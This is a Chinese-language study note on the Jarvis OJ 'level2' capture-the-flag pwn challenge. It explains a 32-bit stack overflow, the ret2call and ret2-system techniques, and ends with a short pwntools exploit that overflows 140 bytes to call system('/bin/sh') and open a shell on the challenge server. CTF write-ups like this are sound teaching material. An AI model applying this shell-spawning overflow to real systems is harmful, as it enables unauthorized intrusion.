Jarvis Oj Pwn 学习笔记-level2
32位构造栈参数溢出!
恭敬地呈上链接:
https://files.cnblogs.com/files/Magpie/level2.rar
nc pwn2.jarvisoj.com 9878
首先....日常checksec:
程序扔进IDA锅里:
找到了溢出点~下面我们开始食用:
既然有调用system函数,肯定是可以直接call一波的,只是还缺一个参数,我们看到了read函数心里不禁笑嘻嘻.....
然而稍安勿躁,心存侥幸的看一波string:
妈耶~善良的出题人
好了,只要按32位栈传参规则通过溢出构造好栈内容即可~
在此提供两种食用方式:
1.ret2call:
(main函数里0x804849e也有一个call)
打到这里,call指令本身执行时就会自动压ret_address,所以栈参数只溢出进一个"/bin/sh"的地址就行了
2.ret2raw_system:
打到这里,这样劫持过去是通过ret指令过去的,只改动了eip,没有压栈,所以和正常调用比,栈结构上是缺少一个ret_addr的,
因此在打payload的时候,要手动垫一个ret_addr~
我们上exp(用的是第一种方法):
1 from pwn import * 2 context(arch = 'i386', os = 'linux') 3 r = remote('pwn2.jarvisoj.com', 9878) 4 junk='A'*140 5 ret='\x9e\x84\x04\x08' 6 cmmd='\x24\xa0\x04\x08' 7 payload=junk+ret+cmmd 8 r.send(payload) 9 r.interactive()
(饱嗝~)